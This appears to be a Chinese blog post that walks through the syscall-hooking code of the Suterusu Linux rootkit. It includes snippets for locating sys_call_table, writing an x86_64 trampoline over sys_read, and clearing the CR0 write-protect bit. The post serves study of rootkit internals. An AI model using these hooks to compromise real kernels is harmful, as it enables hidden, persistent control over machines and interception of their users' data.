Suterusu源码阅读和分析(2)

suterusu的系统调用函数hook部分代码解析,位于util.c

系统函数hook

0x01 获取全局符号表

​ 想要hook内核函数,我们必须先得到syscall表,通过syscall表找到各个函数。这里使用暴搜(获取sys_call_table还有很多别的手段 此处占坑),从sys_close向下查找,直到syscall_table[__NR_close] == sys_close,这时候的syscall_table即为全局符号表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void *find_symbol_table() {
unsigned long *st = NULL;
unsigned long i;

for (i = (unsigned long) sys_close; i < ULONG_MAX; i += sizeof(void *)) {
st = (unsigned long *)i;
if (st[__NR_close] == (unsigned long)sys_close) {
printk("[+] sys_call_table has been found.\n");
return st;
}
}

return 0;
}
  • 用此简单方法找到了sys_call_table,如下图

find_sys_call_table

syscall_table_in_kallsyms

​ 找到syscall表后我们就可以用宏来查找对应的函数指针,比如syscall_table[__NR_write],其中__NR_write就是系统写函数对应的下标。

宏

0x02 hook函数

​ hook函数即是将函数指针指向的内容进行改变,同时新函数与原始函数保持相同的参数列表。系统依然会调用函数指针,但每次都会执行的都是我们替换上去的新函数,在新函数内完成自己想要的动作之后,再回调原始函数来完成系统原本的操作。

​ 这里hook函数使用了函数蹦床技术,因为如果直接通过修改函数指针,比如symbol_table[__NR_write] = our_new_pointer,这样直接将原来的系统函数指针替换成我们的新函数指针很容易被检测到。于是采用更改系统函数指针所指向内存的前几个字节,跳转到我们的新函数上来达到劫持效果。

  • hook操作伪代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 下面为全局变量
char sys_bak[CMD_LEN] = {0}; // CMD_LEN取决于汇编长度,不同系统所用对应汇编不同
char new_data[CMD_LEN] = {0};
void *sys_r;

void hook_sys_r(void) {

sys_r = syscall_table[__NR_read]; // 获取系统读函数指针

memcpy(sys_bak, sys_r, CMD_LEN); // 将函数指针指向地址 原来的内容保存起来

// x86_64汇编如下
// mov rax, $addr; jmp rax 含义为:跳转到我们的新函数地址
memcpy(new_data, "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0", CMD_LEN);
// 中间留下8字节地址用来给赋我们的新函数地址,

// 完成地址填充
*(unsigned long*)&new_data[2] = new_func;

// 将新的内容赋给系统读函数指针 完成hook动作
memcpy(sys_r, new_data, CMD_LEN);

}
  • new_func伪代码
1
2
3
4
5
6
7
8
9
10
11
12
13
// 参数列表与被hook函数相同
void new_func(int fd, char *buff, int count) {
/* do your evil things
...
*/


// 将原函数指针值归还
memcpy(sys_r, sys_bak, CMD_LEN);

sys_r(fd, buff, count);

memcpy(sys_r, new_data, CMD_LEN);
}
  • 写保护的开启关闭

    理清了上述hook的流程后,其实还少了几步关键细节没说。如果你想直接对sys_read赋值,sorry 系统有对应的保护机制,防止你做此高危操作,这时候需要关闭写保护

    • cr0
      • control register,Linux中存在一类称为控制寄存器的register,每一位均代表不同的含义,其中cr0的WP位是控制只读区域是否可写。置1时,只读区域只能被读出;置0时,则CPU可以在任意位置进行写入
      • 所以我们想将new_func写入sys_read指向的只读区,必须先将cr0WP置0

      cr0_bits

      • Linux提供了读写cr0的接口

        • unsigned long read_cr0()
        • write_cr0(unsigned long)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        unsigned long o_cr0 = read_cr0();

        write_cr0(o_cr0 & (~0x10000)); // 将WP位 置0

        /*
        your codes
        */


        write_cr0(o_cr0); // 将原始cr0写入,返回原状态
    • preempt_disable关闭抢占
    • barrier内存屏障
      • 内存屏障本身不具有运算功能。因此在阅读代码时可以忽略
      • 含义:指令实际执行时确保存屏障后代码产生的指令开始执行前,内存屏障之前代码产生的指令一定已经执行结束
      • 作用:内存屏障保证编译器优化指令时,barrier前后的指令顺序不变

将上述几个关键点写成代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned long disable_wp() {
unsigned long cr0;
preempt_disable();
barrier();

cr0 = read_cr0();
write_cr0(cr0 & (~0x10000));

return cr0;
}

void restore_wp(unsigned long cr0) {
write_cr0(cr0);

barrier();
preempt_enable();
}

// 关闭写保护
unsigned long cr0 = disable_wp();

// 对只读区进行写操作
memcpy(sys_r, new_data, CMD_LEN);

// 开启写保护
restore_wp(cr0);

0x03 hook管理

​ 找到符号表后想要完成hook动作,同时在后期还要实现对系统函数的恢复、重置、清除,那么我们还需要用一个结构体来保存系统函数位置,以及位置里面的值,为了将此结构体以链表的形式进行管理,我们还需要添加侵入式链表元素,结构体如下。

1
2
3
4
5
6
struct sym_hook {
void *addr; // 当前函数位置
unsigned char o_code[HIJACK_SIZE]; // original 旧函数汇编
unsigned char n_code[HIJACK_SIZE]; // new 新函数汇编
struct list_head list; // 侵入式链表,让sym_hook形成链表结构
};
  • 上述结构体配合系统链表的api管理,很常用,这里不赘述了